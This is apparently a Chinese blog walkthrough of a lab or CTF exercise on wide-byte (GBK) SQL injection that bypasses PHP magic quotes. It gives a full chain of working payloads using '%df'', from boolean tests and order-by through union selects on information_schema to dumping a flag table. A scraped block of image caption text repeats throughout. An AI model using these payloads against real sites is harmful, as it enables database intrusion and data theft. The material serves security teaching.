天天看点

宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

在PHP中有这样一个函数:

magic_quotes_gpc

它的作用就是将你输入的特殊字符前面统统加一个 \ 符号

如下图前2句话

宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

在看下面这条语句之前,我们首先需要知道。

\'  只能和\'进行闭合
           

下面这个语句,显然不能将 1 进行闭合。而是将 \ 当成了一个字符串。后面的单引号把后面的给后面的给闭合了。

不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。

而遇到魔术引号这哥函数,我们有2种方法,下面就来介绍宽字节注入

宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

宽字节注入原理

上面我们已经知道了魔术引号的作用了,是将特殊字符前加一个 \ 符号,这样就不能闭合了。

而我们想要SQL注入的话,就必须闭合才能SQL注入。

前提条件:

数据库必须是其他编码,比如utf-8 , gbk ,不能是英语编码(ascii)就行

然后我们知道 \ 的编码为 5c 也就是一个字符,而gbk编码是占2个字符,utf-8编码是占3个字符,

这里我们就以 gbk编码来举列子,5c加上另一个字符就可以组成一个汉字,比如 d55c 就可以组成一个繁体汉字“誠”

而我们这里是URL传参,所以是 %d5%5c

宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

举例

id=1%df' union select 1,2,3 — qwe 
为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。
           

为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

以下是练习,可以不用看

%df' and 1=1 -- + 回显正常
%df' and 1=2 -- + 回显错误
说明存在sql注入,而且是宽字节注入
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

判断字段数

%df' order by 3 -- + 回显正常
%df' order by 4 -- + 回显错误,那就说明有3个字段
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

判断回显位

%df' union select 1,2,3 -- +
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

从上面我们知道有2个回显位

那么现在就来判断数据库版本和当前数据库

宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

联合查询当前数据库里的表

这里我就不过多介绍一些数据库函数了,在显错注入(一)里有介绍

%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

联合查询表里的字段

在这里我们很明显是为了拿flag,那么就选第一个表,其他的表就不多测试了

因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='china_flag' -- +
           

第一种方法:那么就不选表,全部输出

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() -- +
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

第二种方法:如果硬要选择表的话,那就是

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1) -- +
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

第三种方法:因为数据库认识16进制,那么我们查询出表之后,就把表的字符转成16进制。

网站地址 https://www.bejson.com/convert/ox2str/

宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

0x是16进制的标识

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6368696e615f666c6167 -- +
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

联合查询表里的字段

%df' union select 1,2,group_concat(C_Flag) from china_flag -- +
           
宽字节注入(一)如下图前2句话不能闭合,就显然不能进行SQL注入。这就是magic_quotes_gpc函数的作用了。宽字节注入原理举例为了绕过转义,成功闭合,只是在前面有这一点不同,其余都是以前的知识。以下是练习,可以不用看因为这里有魔术引号,所以不能写特殊符号,所以下面这个是错的,后面有特殊符号(单引号)

好了,成功拿到flag!

继续阅读